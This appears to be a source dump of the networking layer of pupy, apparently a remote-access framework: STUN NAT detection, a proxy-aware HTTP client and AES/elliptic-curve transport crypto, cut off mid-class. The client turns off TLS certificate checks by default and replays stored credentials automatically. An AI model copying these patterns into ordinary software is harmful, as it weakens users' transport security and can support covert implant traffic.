
def _initialize():
    items = dictAttrToVal.items()
    for i in range(len(items)):
        dictValToAttr.update({items[i][1]: items[i][0]})
    items = dictMsgTypeToVal.items()
    for i in range(len(items)):
        dictValToMsgType.update({items[i][1]: items[i][0]})


def gen_tran_id():
    a = ''.join(random.choice('0123456789ABCDEF') for i in range(32))
    # return binascii.a2b_hex(a)
    return a

def stun_test(sock, host, port, send_data="", count=3):
    retVal = {'Resp': False, 'ExternalIP': None, 'ExternalPort': None,
              'SourceIP': None, 'SourcePort': None, 'ChangedIP': None,
              'ChangedPort': None}
    str_len = "%#04d" % (len(send_data) // 2)
    tranid = gen_tran_id()
    str_data = ''.join([BindRequestMsg, str_len, tranid, send_data])
    data = binascii.a2b_hex(str_data)
    recvCorr = False
    soure_ip, source_port = None, None
    while not recvCorr:
        recieved = False
        while not recieved:
            log.debug("sendto: %s", (host, port))
            try:
                sock.sendto(data, (host, port))
                source_ip, source_port = sock.getsockname()
            except socket.gaierror:
                retVal['Resp'] = False
                return soure_ip, source_port, retVal
            try:
                buf, addr = sock.recvfrom(2048)
                log.debug("recvfrom: %s", addr)
                recieved = True
            except Exception as e:
                log.exception(e)

                recieved = False
                if count > 0:
                    count -= 1
                else:
                    retVal['Resp'] = False
                    return soure_ip, source_port, retVal
        msgtype = binascii.b2a_hex(buf[0:2])
        bind_resp_msg = dictValToMsgType[msgtype] == "BindResponseMsg"
        tranid_match = tranid.upper() == binascii.b2a_hex(buf[4:20]).upper()
        if bind_resp_msg and tranid_match:
            recvCorr = True
            retVal['Resp'] = True
            len_message = int(binascii.b2a_hex(buf[2:4]), 16)
            len_remain = len_message
            base = 20
            while len_remain:
                attr_type = binascii.b2a_hex(buf[base:(base + 2)])
                attr_len = int(binascii.b2a_hex(buf[(base + 2):(base + 4)]), 16)
                if attr_type == MappedAddress:
                    port = int(binascii.b2a_hex(buf[base + 6:base + 8]), 16)
                    ip = ".".join([
                        str(int(binascii.b2a_hex(buf[base + 8:base + 9]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 9:base + 10]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 10:base + 11]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 11:base + 12]), 16))
                    ])
                    retVal['ExternalIP'] = ip
                    retVal['ExternalPort'] = port
                if attr_type == SourceAddress:
                    port = int(binascii.b2a_hex(buf[base + 6:base + 8]), 16)
                    ip = ".".join([
                        str(int(binascii.b2a_hex(buf[base + 8:base + 9]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 9:base + 10]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 10:base + 11]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 11:base + 12]), 16))
                    ])
                    retVal['SourceIP'] = ip
                    retVal['SourcePort'] = port
                if attr_type == ChangedAddress:
                    port = int(binascii.b2a_hex(buf[base + 6:base + 8]), 16)
                    ip = ".".join([
                        str(int(binascii.b2a_hex(buf[base + 8:base + 9]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 9:base + 10]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 10:base + 11]), 16)),
                        str(int(binascii.b2a_hex(buf[base + 11:base + 12]), 16))
                    ])
                    retVal['ChangedIP'] = ip
                    retVal['ChangedPort'] = port
                # if attr_type == ServerName:
                    # serverName = buf[(base+4):(base+4+attr_len)]
                base = base + 4 + attr_len
                len_remain = len_remain - (4 + attr_len)
    # s.close()
    return soure_ip, source_port, retVal


def get_nat_type(s, stun_host=None, stun_port=3478, only_ip=False, count=3):
    _initialize()
    port = stun_port
    log.debug("Do Test1")
    resp = False
    if stun_host:
        source_ip, source_port, ret = stun_test(s, stun_host, port, count=count)
        resp = ret['Resp']
    else:
        for stun_host in STUN_SERVERS:
            log.debug('Trying STUN host: %s', stun_host)
            source_ip, source_port, ret = stun_test(s, stun_host, port, count=count)
            resp = ret['Resp']
            if resp:
                break

    if not resp:
        if only_ip:
            return None

        return Blocked, None

    log.debug("Result: %s", ret)

    exIP = ret['ExternalIP']
    exPort = ret['ExternalPort']
    changedIP = ret['ChangedIP']
    changedPort = ret['ChangedPort']

    if only_ip:
        return ret['ExternalIP']

    if ret['ExternalIP'] == source_ip:
        changeRequest = ''.join([ChangeRequest, '0004', "00000006"])
        source_ip, source_port, ret = stun_test(s, stun_host, port, changeRequest, count=count)
        if ret['Resp']:
            typ = OpenInternet
        else:
            typ = SymmetricUDPFirewall

    else:
        changeRequest = ''.join([ChangeRequest, '0004', "00000006"])
        log.debug("Do Test2")
        source_ip, source_port, ret = stun_test(s, stun_host, port, changeRequest, count=count)
        log.debug("Result: %s", ret)

        if ret['Resp']:
            typ = FullCone
        else:
            log.debug("Do Test1")
            source_ip, source_port, ret = stun_test(s, changedIP, changedPort, count=count)
            log.debug("Result: %s", ret)
            if not ret['Resp']:
                typ = ChangedAddressError
            elif exIP == ret['ExternalIP'] and exPort == ret['ExternalPort']:
                changePortRequest = ''.join([
                    ChangeRequest, '0004',
                    "00000002"
                ])

                log.debug("Do Test3")
                source_ip, source_port, ret = stun_test(s, changedIP, port, changePortRequest, count=count)
                log.debug("Result: %s", ret)

                if ret['Resp']:
                    typ = RestricNAT
                else:
                    typ = RestricPortNAT
            else:
                typ = SymmetricNAT

    return typ, ret


def get_ip_info(stun_host=None, stun_port=3478):

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.settimeout(2)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        nat_type, nat = get_nat_type(s, stun_host=stun_host, stun_port=stun_port)
        external_ip = None
        external_port = None
        if nat_type != Blocked:
            external_ip = nat['ExternalIP']
            external_port = nat['ExternalPort']
        return (nat_type, external_ip, external_port)

    finally:
        s.close()

def get_ip(stun_host=None, stun_port=3478):

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.settimeout(2)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        return get_nat_type(
            s, stun_host=stun_host, stun_port=stun_port, only_ip=True, count=1)

    finally:
        s.close()


================================================
FILE: pupy/network/lib/tinyhttp.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('HTTP',)

import sys
import ssl
import socket

from io import open, BytesIO

from netaddr import IPAddress, AddrFormatError

from .socks import (
    ProxyConnectionError, socksocket, PROXY_TYPES, DEFAULT_PORTS
)

from .socks import HTTP as PROXY_SCHEME_HTTP

from poster.streaminghttp import StreamingHTTPConnection, StreamingHTTPSConnection
from poster.streaminghttp import StreamingHTTPHandler, StreamingHTTPSHandler

if sys.version_info.major > 2:
    from urllib.parse import urlparse, urlencode
    from urllib.request import (
        BaseHandler, HTTPErrorProcessor,
        HTTPHandler, HTTPSHandler, ProxyHandler,
        ProxyBasicAuthHandler, ProxyDigestAuthHandler,
        HTTPRedirectHandler, HTTPBasicAuthHandler, HTTPDigestAuthHandler,
        HTTPDefaultErrorHandler, HTTPErrorProcessor,
        Request, OpenerDirector
    )
    from urllib.error import HTTPError
    from http.cookiejar import CookieJar

    basestring = str
    xrange = range
else:
    from cookielib import CookieJar
    from urlparse import urlparse
    from urllib import urlencode
    from urllib2 import (
        BaseHandler, HTTPErrorProcessor,
        HTTPHandler, HTTPSHandler, ProxyHandler,
        ProxyBasicAuthHandler, ProxyDigestAuthHandler,
        HTTPRedirectHandler, HTTPBasicAuthHandler, HTTPDigestAuthHandler,
        HTTPDefaultErrorHandler, HTTPErrorProcessor,
        Request, OpenerDirector, HTTPError
    )


try:
    from urllib_auth import ProxyAuthHandler, HTTPAuthHandler
except ImportError:
    ProxyAuthHandler = None
    HTTPAuthHandler = None

from poster.encode import multipart_encode

from .netcreds import (
    find_first_cred, find_creds_for_uri, add_cred_for_uri, add_cred
)

from . import getLogger


logger = getLogger('tinyhttp')

def merge_dict(a, b):
    d = a.copy()
    d.update(b)
    return d

## Fix poster bug

class OptionalPasswordManager(object):
    __slots__ = ('username', 'password', 'authuri', 'realm')

    def __init__(self, username=None, password=None):
        self.authuri = None
        self.realm = None
        self.username = username
        self.password = password

    def find_user_password(self, realm, authuri):
        if self.username and self.password:
            self.authuri = authuri
            self.realm = realm
            logger.info(
                'Force preconfigured user/password for %s (realm=%s) -> user=%s',
                authuri, realm, self.username
            )
            return self.username, self.password
        else:
            for cred in find_creds_for_uri(authuri, realm=realm):
                username = cred.username
                if cred.domain:
                    username = cred.domain + '\\' + username

                logger.info(
                    'Found creds for %s (realm=%s) -> user=%s',
                    authuri, realm, username
                )
                return username, cred.password

        logger.info('Creds for %s (realm=%s) not found', authuri, realm)
        return None, None

    def add_password(self, *args, **kwargs):
        raise NotImplementedError('add_password is not implemented')

    def commit(self):
        if self.username and self.password and self.authuri:
            add_cred_for_uri(self.username, self.password, self.authuri, self.realm)


class ProxyPasswordManager(object):
    # Dumb urllib2 doesn't distinguish 401/407, so it's no way to find the proxy address

    __slots__ = ('username', 'password', 'schema', 'host', 'port')

    def __init__(self, schema=None, host=None, port=None, username=None, password=None):
        self.schema = schema
        self.host = host
        self.port = int(port) if port else None
        self.username = username
        self.password = password

    def find_user_password(self, *args, **kwargs):
        if self.username and self.password:
            return self.username, self.password

        elif self.schema and self.host and self.port:
            cred = find_first_cred(self.schema, self.host, self.port)
            if cred:
                return cred.user, cred.password

        return None, None

    def add_password(self, *args, **kwargs):
        raise NotImplementedError('add_password is not implemented')

    def commit(self):
        if all([self.username, self.password, self.schema, self.host, self.port]):
            add_cred(self.username, self.password, True, self.schema, self.host, None, self.port)


class HTTPContext(BaseHandler):
    default = None

    __slots__ = ('cookies', 'headers')

    handler_order = 999

    @staticmethod
    def get_default():
        if HTTPContext.default is None:
            HTTPContext.default = HTTPContext()

        return HTTPContext.default

    def __init__(self):
        self.cookies = CookieJar()
        self.headers = {}

    def http_request(self, request):
        self.cookies.add_cookie_header(request)
        host = request.host

        if host in self.headers:
            for header, value in self.headers[host].items():
                request.add_header(header, value)

        return request

    def http_response(self, request, response):
        self.cookies.extract_cookies(response, request)

        host = request.host
        headers = request.headers
        code = response.headers

        self._process(host, code, headers)
        return response

    def update_from_error(self, error):
        host = urlparse(error.url).hostname
        headers = error.hdrs
        code = error.code

        self._process(host, code, headers)

    def _process(self, host, code, headers):
        for header in ('proxy-authorization', 'authorization'):
            if header in headers:
                if code in (401, 407):
                    if host in self.headers and header in self.headers[host]:
                        del self.headers[host][header]
                        if not self.headers[host]:
                            del self.headers[host]
                else:
                    if host not in self.headers:
                        self.headers[host] = {}

                    self.headers[host][header] = headers.get(header)

    https_request = http_request
    https_response = http_response


class NoRedirects(HTTPErrorProcessor):
    __slots__ = ()

    def http_response(self, request, response):
        return response

    https_response = http_response


if sys.version_info.major > 2:
    import http.client

    class NullConnection(http.client.HTTPConnection):
        __slots__ = ('sock', 'timeout')

        def __init__(self, socket, timeout, *args, **kwargs):
            httplib.HTTPConnection.__init__(self, *args, **kwargs)
            self.sock = socket
            self.timeout = timeout

        def connect(self):
            self.sock.settimeout(self.timeout)
else:
    import httplib

    class NullConnection(httplib.HTTPConnection):
        __slots__ = ('sock', 'timeout')

        def __init__(self, socket, timeout, *args, **kwargs):
            httplib.HTTPConnection.__init__(self, *args, **kwargs)
            self.sock = socket
            self.timeout = timeout

        def connect(self):
            self.sock.settimeout(self.timeout)


class NullHandler(HTTPHandler):
    __slots__ = ('table', 'lock')

    def __init__(self, table, lock):
        HTTPHandler.__init__(self)
        self.table = table
        self.lock = lock

    def http_open(self, req):
        def build(host, port=None, strict=None, timeout=0):
            with self.lock:
                return NullConnection(self.table[host], timeout, host)

        return self.do_open(build, req)


class NETFile(BytesIO):
    __slots__ = ()


class UDPReaderHandler(BaseHandler):
    __slots__ = ('sock', 'timeout')

    def udp_open(self, req):
        url = urlparse(req.get_full_url())
        host = url.hostname
        port = url.port or 123

        data = []
        conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)
        conn.connect((host, port))
        conn.settimeout(10)

        try:
            if url.path:
                conn.send(url.path[1:])

            data = conn.recv(4096)
            if not data:
                raise ValueError('No data')

        except:
            pass

        finally:
            conn.close()

        fp = NETFile(data)
        if data:
            headers = {
                'Content-type': 'application/octet-stream',
                'Content-length': len(data),
            }
            code = 200
        else:
            headers = {}
            code = 404

        return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)


class TCPReaderHandler(BaseHandler):
    __slots__ = ('sslctx')

    def __init__(self, context=None, *args, **kwargs):
        if context:
            self.sslctx = context
        else:
            self.sslctx = ssl.create_default_context()
            self.sslctx.check_hostname = False
            self.sslctx.verify_mode = ssl.CERT_NONE

    def do_stream_connect(self, req):
        url = urlparse(req.get_full_url())
        host = url.hostname
        port = url.port or 53

        conn = socket.create_connection((host, port))
        conn.settimeout(10)
        return conn

    def tls_open(self, req):
        conn = self.do_stream_connect(req)
        conn = self.sslctx.wrap_socket(
            conn, server_hostname=req.host
        )
        return self._get_stream_data(conn, req)

    def tcp_open(self, req):
        conn = self.do_stream_connect(req)
        return self._get_stream_data(conn, req)

    def _get_stream_data(self, conn, req):
        data = []
        url = urlparse(req.get_full_url())

        try:
            if url.path:
                conn.send(url.path[1:])

            while True:
                b = conn.recv(65535)
                if not b:
                    break

                data.append(b)

            if not data:
                raise ValueError('No data')

        except:
            pass

        finally:
            conn.close()

        data = b''.join(data)

        fp = NETFile(data)
        if data:
            headers = {
                'Content-type': 'application/octet-stream',
                'Content-length': len(data),
            }
            code = 200
        else:
            headers = {}
            code = 404

        return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)

StreamingHTTPSHandler.https_open = lambda self, req: self.do_open(
    StreamingHTTPSConnection, req, context=self._context)

class SocksiPyConnection(StreamingHTTPConnection):
    __slots__ = ('proxyargs', 'sock')

    def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):
        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)
        httplib.HTTPConnection.__init__(self, *args, **kwargs)

    def connect(self):
        if self.sock is None:
            self.sock = socksocket()
            self.sock.setproxy(*self.proxyargs)
            if isinstance(self.timeout, float):
                self.sock.settimeout(self.timeout)
            self.sock.connect((self.host, self.port))

class SocksiPyConnectionS(StreamingHTTPSConnection):
    __slots__ = ('proxyargs', 'sock')

    def __init__(self, proxytype, proxyaddr, proxyport=None, rdns=True, username=None, password=None, *args, **kwargs):
        self.proxyargs = (proxytype, proxyaddr, proxyport, rdns, username, password)
        httplib.HTTPSConnection.__init__(self, *args, **kwargs)

    def connect(self):
        if self.sock is None:
            sock = socksocket()
            sock.setproxy(*self.proxyargs)
            if type(self.timeout) in (int, float):
                sock.settimeout(self.timeout)
            sock.connect((self.host, self.port))

            if self._tunnel_host:
                server_hostname = self._tunnel_host
            else:
                server_hostname = self.host

            self.sock = self._context.wrap_socket(
                sock, server_hostname=server_hostname)


class SocksiPyHandler(HTTPHandler, HTTPSHandler, TCPReaderHandler):
    __slots__ = ('args', 'kw')

    def __init__(self, *args, **kwargs):
        self.args = args
        self.kw = kwargs
        HTTPHandler.__init__(self)

    def http_open(self, req):
        def build(host, port=None, strict=None, timeout=0):
            if 'context' in self.kw:
                kw = {
                    x:y for x,y in self.kw.items() if x not in ('context')
                }
            else:
                kw = self.kw

            conn = SocksiPyConnection(*self.args, host=host, port=port, strict=strict, timeout=timeout, **kw)
            return conn

        return self.do_open(build, req)

    def https_open(self, req):
        def build(host, port=None, timeout=0, **kwargs):
            kw = merge_dict(self.kw, kwargs)
            conn = SocksiPyConnectionS(*self.args, host=host, port=port, timeout=timeout, **kw)
            return conn

        return self.do_open(build, req)

    def do_stream_connect(self, req):
        url = urlparse(req.get_full_url())
        host = url.hostname
        port = url.port or 53
        conn = SocksiPyConnection(*self.args, host=host, port=port, timeout=15)
        conn.connect()
        return conn.sock

class HTTP(object):

    __slots__ = (
        'ctx', 'proxy', 'noverify',
        'no_proxy_locals', 'no_proxy_for',
        'timeout', 'headers', 'follow_redirects')

    def __init__(
        self,
            proxy=None, noverify=True, follow_redirects=False,
            headers={}, timeout=5, cadata=None,
            no_proxy_locals=True, no_proxy_for=[]):

        self.ctx = ssl.create_default_context(cadata=cadata)

        if noverify:
            self.ctx.check_hostname = False
            self.ctx.verify_mode = ssl.CERT_NONE

        self.proxy = None
        self.headers = headers
        self.follow_redirects = follow_redirects
        self.no_proxy_locals = no_proxy_locals
        self.no_proxy_for = no_proxy_for

        if isinstance(proxy, basestring):
            proxyscheme = urlparse(proxy)
            scheme = proxyscheme.scheme.upper()
            if scheme == 'SOCKS':
                scheme = 'SOCKS5'

            self.proxy = scheme, proxyscheme.hostname+(
                ':'+str(proxyscheme.port) if proxyscheme.port else ''), \
                proxyscheme.username or None, \
                proxyscheme.password or None
        elif proxy in (True, None):
            if has_wpad():
                self.proxy = 'wpad'
            else:
                self.proxy = find_default_proxy()
        elif hasattr(proxy, 'as_tuple'):
            self.proxy = proxy.as_tuple()
        else:
            self.proxy = proxy

        self.noverify = noverify
        self.timeout = timeout

    def _is_local_network(self, address):
        url = urlparse(address)
        try:
            net = IPAddress(url)
            return net.is_private()
        except (AddrFormatError, TypeError):
            return False

    def _is_direct(self, address):
        if self.no_proxy_locals and self._is_local_network(address):
            return True

        if self.no_proxy_for and urlparse(
                address).hostname in self.no_proxy_for:
            return True

        return False

    def make_opener(self, address, headers=None):
        scheme = None
        proxy_host = None
        proxy_password_manager = None
        http_password_manager = OptionalPasswordManager()
        password_managers = []

        if self.proxy == 'wpad':
            proxy = get_proxy_for_address(address)
            if proxy:
                proxy = proxy[0]
            else:
                proxy = None
        else:
            proxy = self.proxy

        if not proxy or proxy[0] == 'DIRECT' or self._is_direct(address):
            handlers = [
                StreamingHTTPHandler,
                StreamingHTTPSHandler(context=self.ctx),
                TCPReaderHandler(context=self.ctx)
            ]
        else:
            scheme, host, user, password = proxy

            scheme = PROXY_TYPES[scheme]
            port = DEFAULT_PORTS[scheme]

            if ':' in host:
                host, maybe_port = host.split(':')

                try:
                    port = int(maybe_port)
                except ValueError:
                    pass

            proxy_host = host+':'+str(port)

            sockshandler = SocksiPyHandler(
                scheme, host, port,
                user or None, password or None,
                context=self.ctx if self.noverify else None
            )

            handlers = []

            if scheme == PROXY_SCHEME_HTTP:
                http_proxy = proxy_host

                handlers.append(ProxyHandler({
                    'http': 'http://' + http_proxy
                }))

                proxy_password_manager = ProxyPasswordManager(
                    'http', host, port, user, password
                )

                for handler_klass in (
                    ProxyAuthHandler,
                        ProxyBasicAuthHandler, ProxyDigestAuthHandler):
                    if handler_klass is None:
                        continue

                    instance = handler_klass(proxy_password_manager)
                    if hasattr(instance, 'set_logger'):
                        instance.set_logger(logger)

                    handlers.append(instance)

                password_managers.append(proxy_password_manager)
                handlers.append(StreamingHTTPHandler)

            handlers.append(sockshandler)

        if self.follow_redirects:
            handlers.append(HTTPRedirectHandler)
        else:
            handlers.append(NoRedirects)

        handlers.append(UDPReaderHandler)

        for handler_klass in (
            HTTPBasicAuthHandler, HTTPDigestAuthHandler,
                HTTPAuthHandler):

            if handler_klass is None:
                continue

            instance = handler_klass(http_password_manager)
            if hasattr(instance, 'set_logger'):
                instance.set_logger(logger)

            handlers.append(instance)

        password_managers.append(http_password_manager)

        context = HTTPContext.get_default()

        handlers.append(context)

        handlers.append(HTTPDefaultErrorHandler)
        handlers.append(HTTPErrorProcessor)

        opener = OpenerDirector()
        for h in handlers:
            if isinstance(h, type):
                h = h()

            opener.add_handler(h)

        filter_headers = set()

        if headers:
            if isinstance(headers, dict):
                filter_headers = set(headers)
            else:
                filter_headers = set(x for x, _ in headers)

        if isinstance(self.headers, dict):
            opener.addheaders = [
                (x, y) for x, y in self.headers.items()
                if x not in filter_headers
            ]
        else:
            opener.addheaders = self.headers

        if headers:
            if isinstance(headers, dict):
                opener.addheaders.extend([
                    (x, y) for x, y in self.headers.items()
                ])
            else:
                opener.addheaders.extend(headers)

        return opener, scheme, proxy_host, password_managers, context

    def get(
            self, url, save=None, headers={}, return_url=False,
            return_headers=False, code=False, params={}):

        if params:
            url = url + '?' + urlencode(params)

        opener, scheme, host, password_managers, context = self.make_opener(url)

        result = []

        request = Request(url, None, headers)

        try:
            response = opener.open(request, timeout=self.timeout)

        except ProxyConnectionError as e:
            if self.proxy == 'wpad':
                set_proxy_unavailable(scheme, host)

            raise e

        except HTTPError as e:
            context.update_from_error(e)

            result = [e.fp.read() if e.fp.read else '']

            if return_url:
                result.append(e.url)

            if code:
                result.append(e.code)

            if return_headers:
                result.append(e.hdrs.dict)

            if len(result) == 1:
                return result[0]
            else:
                return tuple(result)

        if save:
            with open(save, 'w+b') as output:
                while True:
                    chunk = response.read(65535)
                    if not chunk:
                        break

                    output.write(chunk)

            result = [save]
        else:
            result = [response.read()]

        if return_url:
            result.append(response.url)

        if code:
            result.append(response.code)

        if return_headers:
            result.append(response.info().dict)

        if response.code not in (401, 407) and password_managers:
            for password_manager in password_managers:
                password_manager.commit()

        if len(result) == 1:
            return result[0]
        else:
            return tuple(result)

    def post(
            self, url, file=None, data=None, save=None, headers={},
            multipart=False, return_url=False, return_headers=False,
            code=False, params={}):

        if not (file or data):
            data = ''

        response = None
        result = []

        if multipart:
            data, _headers = multipart_encode(data)
            if not headers:
                headers = _headers
            else:
                headers = headers.copy()
                headers.update(_headers)
        else:
            if isinstance(data, (list,tuple,set,frozenset)):
                data = urlencode({
                    k:v for k,v in data
                })
            elif isinstance(data, dict):
                data = urlencode(data)

        if params:
            url = url + '?' + urlencode(params)

        opener, scheme, host, password_managers, context = self.make_opener(url)

        request = Request(url, data, headers)

        try:
            if file:
                with open(file, 'rb') as body:
                    response = opener.open(request, body, timeout=self.timeout)
            else:
                response = opener.open(request, data, timeout=self.timeout)

        except ProxyConnectionError as e:
            if self.proxy == 'wpad':
                set_proxy_unavailable(scheme, host)

            raise e

        except HTTPError as e:
            context.update_from_error(e)

            result = [e.fp.read() if e.fp.read else '']

            if return_url:
                result.append(e.url)

            if code:
                result.append(e.code)

            if return_headers:
                result.append(e.hdrs.dict)

            if len(result) == 1:
                return result[0]
            else:
                return tuple(result)

        if save:
            with open(save, 'w+b') as output:
                while True:
                    chunk = response.read(65535)
                    if not chunk:
                        break

                    output.write(chunk)

                result = [save]
        else:
            result = [response.read()]

        if return_url:
            result.append(response.url)

        if code:
            result.append(response.code)

        if return_headers:
            result.append(response.info().dict)

        if response.code not in (401, 407) and password_managers:
            for password_manager in password_managers:
                password_manager.commit()

        if len(result) == 1:
            return result[0]
        else:
            return tuple(result)

from .proxies import (
    find_default_proxy, set_proxy_unavailable,
    has_wpad, get_proxy_for_address
)


================================================
FILE: pupy/network/lib/transports/__init__.py
================================================


================================================
FILE: pupy/network/lib/transports/cryptoutils/__init__.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'append_PKCS7_padding', 'strip_PKCS7_padding',
    'NewAESCipher', 'get_random',
    'SHA1', 'SHA256', 'SHA384', 'SHA3_256', 'SHA3_512',
    'AES_MODE_CTR', 'AES_MODE_CFB', 'AES_MODE_CBC',
    'hmac_sha256_digest', 'AES_BLOCK_SIZE', 'RC4', 'ECPV',
    'XOR'
)

from .aes import (
    append_PKCS7_padding,
    strip_PKCS7_padding,
    NewAESCipher, AES_BLOCK_SIZE,
    AES_MODE_CTR, AES_MODE_CFB, AES_MODE_CBC
)

from .sha import (
    SHA1, SHA256, SHA384, SHA3_256, SHA3_512
)

try:
    from Crypto.Random import get_random_bytes as get_random
    from Crypto.Cipher import ARC4
    from Crypto.Hash import HMAC

    def RC4(key):
        return ARC4.new(key)

    def hmac_sha256_digest(key, msg):
        return HMAC.new(key, msg, SHA256).digest()

except ImportError as e:
    import hashlib
    import hmac

    from os import urandom as get_random
    from .rc4 import RC4

    def hmac_sha256_digest(key, msg):
        return hmac.new(key, msg, hashlib.sha256).digest()

from .ecpv import ECPV
from .xor import XOR


================================================
FILE: pupy/network/lib/transports/cryptoutils/aes.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'append_PKCS7_padding',
    'strip_PKCS7_padding',
    'NewAESCipher', 'AES_BLOCK_SIZE',
    'AES_MODE_CTR', 'AES_MODE_CFB', 'AES_MODE_CBC'
)

import logging
import sys

if sys.version_info.major > 2:
    xrange = range
    long = int

    def to_byte(x):
        return bytes((x,))

    def from_byte(x):
        return x

else:
    def to_byte(x):
        return chr(x)

    def from_byte(x):
        return ord(x)


AES_BLOCK_SIZE = 16


def append_PKCS7_padding(data):
    pad = AES_BLOCK_SIZE - (len(data) % AES_BLOCK_SIZE)
    return data + to_byte(pad)*pad


def strip_PKCS7_padding(data):
    if len(data) % AES_BLOCK_SIZE != 0:
        raise ValueError('data is not padded')

    padlen = from_byte(data[-1])

    if padlen > AES_BLOCK_SIZE or padlen < 1:
        raise ValueError('PKCS#7 invalid padding byte')

    if data[-padlen:] != to_byte(padlen) * padlen:
        raise ValueError('PKCS#7 padding is invalid')

    return data[:-padlen]


try:
    from Crypto.Cipher import AES
    from Crypto.Util import Counter

    AES_MODE_CTR = AES.MODE_CTR
    AES_MODE_CFB = AES.MODE_CFB
    AES_MODE_CBC = AES.MODE_CBC

    def NewAESCipher(aes_key, iv, mode=AES_MODE_CBC):
        if mode == AES_MODE_CTR:
            if type(iv) not in (int, long):
                iv = long(iv.encode('hex'), 16)

            counter = Counter.new(
                nbits=AES.block_size*8,
                initial_value=iv
            )
            return AES.new(aes_key, mode, counter=counter)

        return AES.new(aes_key, mode, IV=iv)

except ImportError as e:
    logging.warning(
        'pycrypto not available, using pure python '
        'libraries for AES (slower): %s', e
    )

    AES_MODE_CTR = 0
    AES_MODE_CFB = 1
    AES_MODE_CBC = 2

    try:
        from pyaes import (
            AESModeOfOperationCBC, AESModeOfOperationCFB,
            AESModeOfOperationCTR, Counter
        )
    except ImportError as e:
        logging.exception('pyaes is missing: %s', e)
        raise e

    class NewAESCipher(object):
        __slots__ = ('aes_key', 'iv', 'cipher', 'mode')

        def __init__(self, aes_key, iv, mode=AES_MODE_CBC):
            self.aes_key = aes_key
            self.iv = iv
            self.mode = mode
            if mode == AES_MODE_CBC:
                self.cipher = AESModeOfOperationCBC(self.aes_key, iv=self.iv)
            elif mode == AES_MODE_CFB:
                self.cipher = AESModeOfOperationCFB(self.aes_key, iv=self.iv)
            elif mode == AES_MODE_CTR:
                if type(iv) not in (int, long):
                    iv = long(iv.encode('hex'), 16)

                self.iv = Counter(initial_value=iv)
                self.cipher = AESModeOfOperationCTR(
                    self.aes_key, counter=self.iv
                )

        def encrypt(self, data):
            """ data has to be padded """

            if self.mode == AES_MODE_CTR:
                return self.cipher.encrypt(data)

            encrypted = []
            for i in xrange(0, len(data), AES_BLOCK_SIZE):
                encrypted.append(
                    self.cipher.encrypt(data[i:i+AES_BLOCK_SIZE]))

            return b''.join(encrypted)

        def decrypt(self, data):
            """ data has to be padded """

            if self.mode == AES_MODE_CTR:
                return self.cipher.decrypt(data)

            cleartext = []

            for i in xrange(0, len(data), AES_BLOCK_SIZE):
                cleartext.append(
                    self.cipher.decrypt(data[i:i+AES_BLOCK_SIZE]))

            return b''.join(cleartext)


================================================
FILE: pupy/network/lib/transports/cryptoutils/ecpv.py
================================================
# -*- coding: utf-8 -*-
__all__ = ('PubKeyCache', 'ECPV')

import sys
import struct
import base64

from collections import deque

if sys.version_info.major > 2:
    xrange = range

    def _reversed_bytes(data):
        return bytes(reversed(data))
else:
    def _reversed_bytes(data):
        return b''.join(reversed(data))

from tinyec.registry import get_curve
from tinyec.ec import (
    to_bytes, from_bytes,
    ec2osp, osp2ec
)

from . import (
    NewAESCipher, get_random,
    SHA1, SHA3_256, SHA3_512,
    AES_BLOCK_SIZE,
    AES_MODE_CTR, AES_MODE_CFB
)


class PubKeyCache(object):
    __slots__ = ('records',)

    def __init__(self, maxlen=64):
        self.records = deque(maxlen=maxlen)

    def get(self, get_key):
        for (key, value) in self.records:
            if key == get_key:
                return value

    def set(self, set_key, pubkey):
        for (key, value) in self.records:
            if key == set_key:
                return value

        self.records.append((set_key, pubkey))
        return pubkey


_PUBKEY_CACHE = PubKeyCache()


class ECPV(object):
    __slots__ = (
        '_curve', '_hash',
        '_private_key', '_public_key', '_kex_shared_key',
        '_kex_public_key', '_kex_private_key',
        '_public_key_digest', '_cached_kex_request',
        '_cached_kex_response', '_mgf_size'
    )

    def __init__(self, curve='brainpoolP160r1', hash=None, private_key=None, public_key=None):
        if not hash:
            if '160' in curve:
                hash = SHA1
            elif '224' in curve:
                hash = SHA3_256
            elif '256' in curve:
                hash = SHA3_256
            elif '384' in curve:
                hash = SHA3_512
            elif '521' in curve:
                hash = SHA3_512
            else:
                raise ValueError('Appropriate hash should be specified')

            if hash is None:
                raise ValueError('Hash is unsupported (native only?)')

        self._curve = get_curve(curve)

        self._hash = hash

        # Check that hash is properly initialized
        self._hash.new()

        try:
            self._mgf_size = self._hash.new().block_size
        except AttributeError:
            self._mgf_size = self._hash.digest_size

        if not self._mgf_size >= self._curve.bytes:
            raise ValueError('Incompatible hash function')

        if private_key:
            self._private_key = from_bytes(base64.b64decode(private_key))
        else:
            self._private_key = None

        if private_key and not public_key:
            record = _PUBKEY_CACHE.get(self._private_key)
            if record:
                self._public_key, self._public_key_digest = record
            else:
                self._public_key = self._curve.g * self._private_key
                self._public_key.precompute()
                self._public_key_digest = self._mgf2(ec2osp(self._public_key), AES_BLOCK_SIZE)
                _PUBKEY_CACHE.set(self._private_key, (self._public_key, self._public_key_digest))

        elif public_key:
